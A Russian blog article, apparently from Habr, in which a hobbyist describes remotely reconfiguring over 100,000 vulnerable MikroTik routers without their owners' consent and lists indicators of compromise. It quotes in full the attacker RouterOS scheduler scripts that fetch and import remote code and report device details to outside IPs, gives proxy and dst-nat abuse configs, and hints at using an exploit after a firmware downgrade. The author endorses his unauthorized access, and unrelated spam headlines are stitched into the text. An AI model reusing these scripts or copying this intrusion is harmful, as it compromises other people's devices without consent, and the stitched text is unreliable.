RouterOS очень мощный инструмент в руках профессионалов и ответственных специалистов. Но в руках новичков или тех, кто делает всё на «и так сойдёт» Mikrotik начинает жить своей жизнью и превращается в ноду ботнета.
Ещё в мае 2018 я писал статью с рекомендациями как защитить свой Микротик.
Как ни странно, но в сети до сих пор тысячи «открытых» роутеров Mikrotik и армия ботнета пополняется.
Я в свободное от работы и отдыха время искал уязвимые устройства по всей сети и делал настройки в соответствии со своими рекомендациями, то есть добавлял правила фаервола, которые закрывали доступ к роутеру не из локальной сети. В комментариях писал информацию об уязвимости и оставлял адрес телеграм-канала @router_os, где можно было мне задать интересующие вопросы (у нормального админа они должны были появиться).
С мая по сегодняшний день я «вырвал» из лап ботнета более 100 тысяч устройств Mikrotik.
Учитывая то, что я не могу выступить на MUM 2018 в Москве, то свой доклад я решил опубликовать на habr.com
В сети много аналитики как именно используются RouterOS хакерами (например здесь). Но моя статья основана лично на моём опыте.
Админы и их реакция
По всему миру админы маршрутизаторов рано или поздно обнаруживали у себя такую пасхалку.
/system note/system note print
show-at-login: yes
note: I closed the vulnerability with a firewall. Please update RouterOS. You can say thanks on the WebMoney Z399578297824 or BTC 14qiYkk3nUgsdqQawiMLC1bUGDZWHowix1. My Telegram http://t.me/router_os
Большинство тихо закрывало дыру. Кто-то не поленились мне написать «спасибо». Но были и те, кто громко негодовал не разобравшись.
Нормальный специалист должен адекватно реагировать когда ему указывают на его ошибку.
За всё время мне написало не более 50 человек…
Так как реакция пользователей была минимальна, то я пришёл к выводу, что подавляющее большинство даже и не заметит, что что-то на роутере не так. Поэтому я стал дорабатывать свой скрипт, который помимо правил фаервола будет удалять известные мне backdoors, которые оставили злоумышленники.
Логично, что мой метод устраивает не всех. Но другого подхода для выполнения данной задачи я не придумал ещё.
Хакеры любят RouterOS
В подавляющем большинстве случаев я попадал на устройство, которое уже кем-то заражено. Я, к сожалению, не сразу стал анализировать их содержимое. Вот что я нашёл и что будет верным признаком, что ваш роутер скомпрометирован.
Web-прокси и Socks
Самое банальное использование маршрутизатора через стандартные вэб и socks прокси. Если вы их не используете, но они включены, то просто выключите их.
/ip proxy set enabled=no
/ip socks set enabled=no
Но чтобы просто так не получилось выключить хакер добавляет в шедулер скрипт, которой прокси включит через некоторое время:
/system script/system scheduler
add interval=10m name=»port 54321″ on-event=»port 54321″ policy=
ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon
start-date=sep/02/2018 start-time=20:35:53
/system script
add name=»port 54321″ owner=gateway policy=
ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon source=»/
ip firewall filter remove [/ip firewall filter find where comment ~ «port
_[0-9]*»];/ip socks set enabled=yes port=54321 max-connections=255 conne
ction-idle-timeout=60;/ip socks access remove [/ip socks access find];/ip
firewall filter add chain=input protocol=tcp port=54321 action=accept comm
ent=»port 54321″;/ip firewall filter move [/ip firewall filter find comm
ent=»port 54321″] 1;»
Вы можете обнаружить у себя файл webproxy/error.html который прокси вам подсовывает, а он в свою очередь вызывает майнер.
Лишние параметры появляются и здесь:
/ip proxy access print
/ip socks access print
Script может всё
В 90% дырявых Микротиков имеются скрипты /system script и для них настроено расписание выполнения /system scheduler.
По расписанию скачивается скрипт, которой в дальнейшем выполняется.
Установка майнера/system scheduler
add interval=11h name=upd113 on-event=»/tool fetch url=http://gotan.bit:31415/
01/error.html mode=http dst-path=webproxy/error.html» policy=
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=
aug/20/2018 start-time=03:28:02
add interval=9h name=upd115 on-event=
«/tool fetch url=http://gotan.bit:31415/01/u113.rsc mode=http» policy=
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=
aug/20/2018 start-time=03:28:02
add interval=9h name=upd116 on-event=»/import u113.rsc» policy=
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=
aug/20/2018 start-time=03:28:12
add interval=1d name=Auto113 on-event=»/system reboot» policy=
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=
aug/20/2018 start-time=03:00:00
/system script
add name=script4_ owner=nivel2 policy=
ftp,reboot,read,write,policy,test,password,sensitive source=»/tool fetch a
ddress=95.154.216.163 port=2008 src-path=/mikrotik.php mode=http keep-resu
lt=no»
Правила рождественского поста 2018-2019, когда можно рыбу, календарь питания по дням, молитвы
Ещё один вариант скрипта, который после применения пытается частично спрятаться./system scheduler
add interval=11s name=MTIT on-event=»/system script run MTIT» policy=
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-time=
startup
add interval=25m name=»DDNS Serv» on-event=»/system script run iDDNS» policy=
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-time=
startup
/system script
add name=MTIT owner=admin policy=
ftp,reboot,read,write,policy,test,password,sniff,sensitive source=
«/ping 10.12.0.26 interface=ether4 count=10»
add name=iDDNS owner=admin policy=
ftp,reboot,read,write,policy,test,password,sniff,sensitive source=»:global
_mac [/interface ethernet get 1 mac-address]r
n:global port ([/ip service get winbox port].»_».[/ip socks get port].
«_».[/ip proxy get port])r
n:global info ([/ip socks get enabled].»_».[/ip proxy get enabled].»_
«.[/interface pptp-server server get enabled])r
n:global cmd «/$mac/$port/$info/dns»r
n/tool fetch address=91.134.24.238 src-path=$cmd mode=http dst-path=dns;
:delay 3sr
n/import dns;:delay 4s;/file remove dns»
Таким образом у злоумышленников всегда есть возможность «скормить» новый скрипт и, например, провести масштабную DDOS атаку.
Скрипты могут быть спрятаны везде
Поэтому проверяйте эти места тщательно. На чистом RouterOS эти места пустые.
DST-NAT
К моему большому удивлению, но много таких устройств, на которых завёрнут трафик через /ip firewall nat.
Спам в dst-nat
/ip firewall nat
add action=masquerade chain=srcnat comment=»default configuration»
add action=masquerade chain=srcnat
add action=dst-nat chain=dstnat dst-port=4444 protocol=tcp to-addresses=
91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-port=8008 protocol=tcp to-addresses=
91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=218.11.2.83 dst-port=8008
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=218.11.2.83 dst-port=443
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=218.11.2.83 dst-port=25 protocol=
tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=51.15.39.52 dst-port=9999
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=51.15.39.186 dst-port=9999
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=51.15.89.69 dst-port=9999
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=79.137.82.70 dst-port=9999
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=79.137.82.104 dst-port=9999
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=92.222.72.197 dst-port=9999
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=92.222.180.118 dst-port=9999
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=151.80.59.84 dst-port=9999
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
Хороший способ скрыть свой реальный ip.
DNS static
Без фишига так же не обошлось. На роутерах в /ip dns static можно обнаружить и такое
Всё очень просто: вы в адресную строку вбиваете адрес сайта, который вы знаете, а фактически попадаете на сервер злоумышлинника.
Удаляем содержимое
/ip dns static remove numbers=[/ip dns static find]
Урезание прав админа
UPD: Так же есть группа роутеров, где хакер урезал права у admin и завёл своего с полными правами (например router и cnt), либо просто отбирает права и обновляет прошивку на последнюю.
содержимое /user в первом случае[router@MikroTik] > /user print
Flags: X — disabled
# NAME GROUP ADDRESS LAST-LOGGED-IN
0 ;;; system default user
admin admin sep/18/2018 15:08:45
1 dima full sep/14/2018 19:54:00
2 router full sep/26/2018 09:23:41
[router@MikroTik] > /user group print
0 name=«read» policy=local,telnet,ssh,reboot,read,test,winbox,password,web,sniff,sensitive,api,romon,tikapp,!ftp,!write,!policy,!dude skin=default
Медальный зачет юношеской Олимпиады 2018. Последние новости 17 октября
1 name=«write» policy=local,telnet,ssh,reboot,read,write,test,winbox,password,web,sniff,sensitive,api,romon,tikapp,!ftp,!policy,!dude skin=default
2 name=«full» policy=local,telnet,ssh,ftp,reboot,read,write,policy,test,winbox,password,web,sniff,sensitive,api,romon,dude,tikapp skin=default
3 name=«admin» policy=local,ftp,reboot,read,write,test,winbox,password,web,sniff,sensitive,api,!telnet,!ssh,!policy,!romon,!dude,!tikapp skin=default
Как вариант решения этой проблемы: через netinstall сделать downgrade на уязвимую прошивку и воспользоваться эксплоитом.
Packet Sniffer
Коллеги из Лаборатории Касперского упомянули кражу трафика по средствам его перенаправления на неизвестный узел.
Выключить его можно так:
/tool sniffer stop
/tool sniffer set streaming-enabled=no filter-ip-protocol=»» filter-port=»» filter-interface=»» filter-stream=no
Проблема продукции Mikrotik
Абсолютно защищённых систем не существует. А массовое распространение продукции Mikrotik так же повлекло массовое изучение этих устройств.
Так как функционал RouterOS позволяет выполнять огромное количество задач он интересен и хакерам в том числе.
Из-за того, что продукт очень динамично развивается, то и скорость появления новых «дыр» тоже велико. Не смотря на это компания Микротик оперативно выпускает заплатки для своих систем.
Выход
На сегодняшний день единственным верным решением для защиты RouterOS — это корректно настроенный фаервол, который работает по принципу «запрещено всё, что явно не разрешено».
А всё потому, что Микротик использует классический фаервол Linux, который годами оттачивался армией специалистов.
Если требуется доступ к устройству из глобальной сети, то используйте принцип «port knocking». Принцип «fail2ban» себя не всегда оправдывает, так как всё равно обнаруживает устройство.
Глобальные решения
Режим ламера
В виду того, что устройства очень дешёвые, то их покупают пользователи, которые не имеют специальных знаний. Компании Mikrotik необходимо разработать интерфейс «ламера», который имеет минимальное количество настроек как и большинство SOHO роутеров. Причём он должен быть по умолчанию. А расширенный режим пользователь должен включить осознано сам. Текущий «Quick set» не достаточно хорош. Более того из-за изобилия кнопок юзер может и не заметить эту функцию.
Bug analyzer
Так же необходим модуль, который проводит анализ текущей конфигурации на возможные уязвимости и уведомляет пользователя, если считает, что роутер может быть скомпрометирован. Этот модуль должен подгружать «базу знаний», которую наполняют сотрудники Mikrotik на основании распространённых ошибок. А в случае серьёзных уязвимостей включать «аварийный» режим.
Если я смог систематизировать часть угроз, то разработчики и подавно…
FireWall — как услуга провайдеров
Рынок «умных» устройств очень бурно развиваются и они далеко не все хорошо защищены. Большинство людей, которые их приобретают, так же не владеют специальными знаниями, чтобы самостоятельно защитить свои гаджеты.
Поэтому интернет провайдерам пора создать коммерческую услугу по защите таких гаджетов. Банально пользователь в личном кабинете указывает какие порты открыть из интернета.
Так же провайдеры могут создать централизованную базу по существующим устройствам и их нормальным потребностям. Пользователь указывает в ЛК какие устройства у него используются. В случае нестандартного поведения такого устройства — уведомлять пользователя.
Я считаю, что рынок уже созрел для такой услуги.
В этой услуге есть следующие плюсы:
- Для провайдера ещё одна статья дохода
- Сокращение паразитного трафика
- Сокращаем рекрутинг устройств в ботнет
- Популяризация развивающихся услуг «умный дом»
- Пользователи могут дальше не заморачиваться своей безопасностью.
Немного о себе
Попытаюсь ответить на вопросы, которые наверняка мне зададут.
- Я работаю на должности не связанной с Mikrotik и сетями в общем.
- Тем не менее у меня есть сертификат MTCNA.
- Микротик — моё хобби. Всё, что я делаю — мне просто нравится. Так сказать «по фану».
- Почему не устроился на работу по профилю? Те кто в нашем городе покупает mikrotik много платить ЗП не могут. Те, кто может мне платить достойную ЗП — покупают cisco.
- В комментах в фаерволе я указывал свои кошельки, но с мая мне закинули всего около $40. В телеграм писали из разных стран, мол у них нет wmz, но всё равно «спасибо».
P.S.:
Поделитесь вашим опытом как ещё хакеры могут использовать Mikrotik.